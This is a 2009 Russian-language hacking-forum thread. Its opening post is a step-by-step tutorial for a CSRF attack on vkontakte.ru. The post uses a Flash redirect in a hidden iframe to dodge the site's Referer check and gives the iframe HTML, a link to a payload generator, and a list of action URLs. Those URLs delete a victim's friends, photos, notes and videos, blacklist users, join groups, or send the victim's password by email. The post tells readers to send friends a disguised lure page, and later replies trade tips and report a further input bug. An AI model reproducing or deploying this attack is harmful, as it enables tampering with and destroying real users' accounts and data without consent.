Уязвимость Вконтакте.ру

Discussion in 'Социальные сети' started by Ustas.PC, 12 Mar 2009.

  1. Ustas.PC

    Ustas.PC New Member

    Joined:
    2 Mar 2009
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    Суть уязвимости:

    1. Сайт вконтакте.ру устроен таким образом, что если закрыть страницу сайта, а потом снова ее открыть, страница откроется, не запросив пароль.
    2. Сайту, как я понял, все равно каким методом мы посылаем данные из формы - GET или POST - он их обрабатывает одинакого.

    Мы можем воспользоваться этим.

    Сформировав определенный URL в адресной строке браузера, мы можем производить некоторые действия.
    Но, сайт не так просто сделан.

    1. В некоторых формах есть скрытые поля с секретным кодом. Не зная этот код, мы ничего не сможем сделать. Но узнать его не просто, поэтому такие формы я не буду затрагивать в статье.
    2. Сайт проверяет значение $_SERVER['HTTP_REFERER'], но мы обойдем эту проверку с помощью Flash.

    Для того, чтобы все отработало успешно, нужно:
    1. Чтобы у жертвы в браузере был включен Flash. (У большинства людей, сидящих в этой социальной сети, он включен, т.к. без него не работают многие сервисы контакта: музыка, видео, приложения и т.д.)
    2. Чтобы жертва была залогинена вконтакте. (Большинство людей не нажимают кнопку "Выход" вконтакте, даже когда выходят из-за компа, поэтому с этим условием, думаю, проблем тоже не возникнет.)

    Для примера, попробуйте ввести в адресной строке браузера в новом окне следующий URL: http://vkontakte.ru/groups.php?act=enter&gid=777107
    Вы автоматически вступили в группу "В Контакте | Безопасность".
    Теперь выйдите из группы и попробуйте перейти по точно такой же ссылке: http://vkontakte.ru/groups.php?act=enter&gid=777107 (откроется в новом окне)
    Теперь вступить в группу вам не удалось, а все по одной причине: переходя по ссылке с любого сайта, в контакт передается значение предыдущей страницы, и, в целях безопасности, он блокирует такие действия. Мы же, чуть позже, обойдем эту защиту.

    Приведу еще пример - откройте в новом окне следующую страницу: http://vkontakte.ru/settings.php?act=addToBlackList&id=1
    Вот и создатель этого сайта оказался у вас в игноре.
    Подобным образом можно совершать разные действия (их список в конце статьи)

    Понятно, что если вы кинете жертве подобную ссылку, жертва поймет, в чем подвох.
    Мы же попытаемся открыть эту страницу незаметно для жертвы.

    Но, прежде, чем использовать эту уязвимость на жертве, мы потренеруемся на себе.
    В примере мы создадим скрипт, добавляющий людей в ту же группу -"В Контакте | Безопасность".
    От вас требуются элементарные знания HTML.

    Выглядеть будет это так:
    Мы кидаем жертве ссылку на наш сайт.
    Жертва открывает эту ссылку.
    На сайте находится скрытый фрэйм.
    Этот фрэйм ссылается на специальный Flash-скрипт, который перенаправляет нас на все тот же адрес: http://vkontakte.ru/groups.php?act=enter&gid=777107.
    Т.к. идет перенаправление через флэш, то адрес предыдущей страницы не передастся, а значит контакт выполнит наше действие.
    Когда в скрытом фрэйме откроется эта страница, жертва незаметно добавится в группу "В Контакте | Безопасность".

    Приступим?

    Практика.

    Шаг 1. Создаем флэшку.
    Для начала, создадим эту флэшку.
    Для ее быстрого создания я написал специальный скрипт: http://swfgen.m0nster.tu2.ru
    Скрипт запросит у вас URL. Вводите туда http://vkontakte.ru/groups.php?act=enter&gid=777107 и жмите "ОК".
    Скрипт вернет вам ссылку на готовую флэшку.
    Качаем флэшку на комп и переименовываем в более читаемый вид. Пусть будет vkontakte.swf

    Шаг 2. Создаем HTML страничку.
    Теперь создаем HTML-страничку. Пусть она будет называться просто index.html.
    Пишем там любую чушь, главное, чтоб не вызвать подозрения у жертвы, что тут что-то неладное.
    Что написать на странице - дело ваше.
    После этого вставляем куда-нибудь в тело странички скрытый <IFRAME>.

    <iframe src="vkontakte.swf" style="width:10px; height:10px; padding:0; margin:0; position:absolute; left:-100; top:-100;"></iframe>

    (На этом этапе может возникнуть вопрос, почему не сделать просто display:hidden, например. А потому, что в таком случае флэш не отработает)

    Шаг 3.
    Теперь у нас есть два файла: vkontakte.swf и index.html
    Регистрируем какой-нибудь сайт на бесплатном хостинге.
    Нам даже поддержка PHP не нужна, поэтому почти любой хостинг нам подойдет.
    Загружаем на свеженький сайт наши файлы.
    И попробуем открыть страничку index.html.
    Открывается страничка, ничего странного вроде не наблюдается...
    Теперь открываем нашу страницу Вконтакте и смотрим список групп - если там появилась группа "В Контакте | Безопасность", значит, все отработало успешно.
    Можно выйти из этой группы и снова открыть нашу страницу index.html, чтобы точно удостовериться, что все работает.

    Все, мы научились делать это.
    Теперь попробуем что-нибудь посложнее.
    Давайте удалим какую-нибудь фотку у друга.
    Для этого нужно знать ID фото.
    Узнать его не сложно: открываем страницу просмотра нужной(а точнее ненужной) фотографии и смотрим адрес страницы.
    Там что-то типа такого: http://vkontakte.ru/photos.php?act=show&id=1234567_987654321.
    В этом случае ID фото будет 1234567_987654321. Вы же делаете по аналогии.
    Когда узнали идентификатор фотографии, идем к уже знакомому скрипту, который сгенерирует нам флэшку.
    Пишем в поле URL следующий код: http://vkontakte.ru/photos.php?act=do_fdelete&id=ИД_ФОТО
    Дальше все уже знакомо: переименовываем флэшку, создаем HTML страничку, там <IFRAME>, ссылающийся на нашу флэшку.
    Теперь кидаем ссылку на нашу страничку другу, и, если друг нажмет на ссылку, то фока у него должна исчезнуть.

    Думаю, принцип вы поняли.
    Теперь приведу список возможных действий, и требующийся для них URL.

    http://vkontakte.ru/settings.php?act=addToBlackList&id=ИД
    Добавить человека в черный список

    http://vkontakte.ru/friend.php?act=do_delete&id=ИД
    Удалить друга

    http://vkontakte.ru/groups.php?act=enter&gid=ИД_ГРУППЫ
    Вступить в группу

    http://vkontakte.ru/groups.php?act=leave&gid=ИД_ГРУППЫ
    Покинуть группу

    http://vkontakte.ru/notes.php?act=do_delete&nid=ИД_ЗАМЕТКИ
    Удалить заметку


    Редактировать заметку
    ИД заметки можно узнать из url при просмотре заметки.
    visible - кто может просматривать заметку. commentable - кто может комментировать
    могут принимать следующие значения:
    0 - все
    1 - Друзья и друзья друзей
    2 - Только друзья

    http://vkontakte.ru/video.php?act=do_delete&oid=ИД&id=ИД_ВИДЕО
    Удалить видео
    (ИД_ВИДЕО можно узнать из url при просмотре видео)

    http://vkontakte.ru/photos.php?act=do_fdelete&id=ИД_ФОТО
    Удалить фото
    (узнать ид фото можно из url при просмотре фото.)

    http://vkontakte.ru/settings.php?act=send

    Выслать на почту жертвы письмо с её паролем

    Источник: www.hacker.3dn.ru
     
  2. dvion

    dvion New Member

    Joined:
    11 Mar 2009
    Messages:
    12
    Likes Received:
    2
    Reputations:
    0
    Дамс... Простите, но уж если на hacker.3dn.ru пишут, что с любым рифером act=enter не сделать, то это - клиника.
    Рифер - любой для вступления, но юзер, который проходит по этой ссылке должен быть в on-line. Стандартная фишка контакта (уж как именно мыслят тамошние кодеры - не известно).
     
  3. cremator (c)

    cremator (c) Elder - Старейшина

    Joined:
    20 Jun 2008
    Messages:
    258
    Likes Received:
    72
    Reputations:
    0
    б@янище
     
  4. Dumi

    Dumi Banned

    Joined:
    20 Jan 2009
    Messages:
    5
    Likes Received:
    95
    Reputations:
    -5
    В приложениях флешка похать будет=)
     
  5. Chaak

    Chaak Elder - Старейшина

    Joined:
    1 Jun 2008
    Messages:
    1,059
    Likes Received:
    1,067
    Reputations:
    80
    Простая CSRF атака... Ничего особенного в ней нет.

    Можно без флэша, простым автосабмитом формы, или редиректом.
     
  6. rudra

    rudra New Member

    Joined:
    30 Dec 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    не работает. Сделал хтмл и в нем ифрейм, в котором флеш с сылкой на добавление в группу.
    Security Breach
     
  7. SPrivate

    SPrivate New Member

    Joined:
    26 Mar 2008
    Messages:
    0
    Likes Received:
    3
    Reputations:
    -5
    У юзера в "Глобальные параметры безопасности" должна стоять галочка "всегда разрешать" иначе не пашет((((
    и когда в приложение залил не сработало((
     
  8. rudra

    rudra New Member

    Joined:
    30 Dec 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    "Глобальные параметры безопасности" - это в браузере?
     
  9. SPrivate

    SPrivate New Member

    Joined:
    26 Mar 2008
    Messages:
    0
    Likes Received:
    3
    Reputations:
    -5
    А стандартом у всех стоит запрашивать разрешение(((
     
  10. rudra

    rudra New Member

    Joined:
    30 Dec 2008
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    что-то голимоватый метод или может руки кривые? У кого не кривые, может объяснит?
     
  11. lol2006

    lol2006 Elder - Старейшина

    Joined:
    25 May 2006
    Messages:
    75
    Likes Received:
    16
    Reputations:
    0
    Нашел что-то: к примеру, берем ссылку: http://vkontakte.ru/search.php?id=1, подставляем перед "1" нули - http://vkontakte.ru/search.php?id=000000000000000000000000001 и получаем интересное окошко, где нажимаем "Добавить в друзья" и видим - "null", А вот окно отправки сообщений, помойму пропустить че-нить. Вообщем не хочеться ковырять, может кто раскрутит))).
     
  12. Ylka

    Ylka Banned

    Joined:
    3 Jan 2009
    Messages:
    17
    Likes Received:
    6
    Reputations:
    5
    А почему в опере не роботает ?. А можно. Например ктото заходит на флешку и через несколько секунд вилазет типу спливающие окно на другой сайт как ето зделать???
     
  13. Ylka

    Ylka Banned

    Joined:
    3 Jan 2009
    Messages:
    17
    Likes Received:
    6
    Reputations:
    5
    ???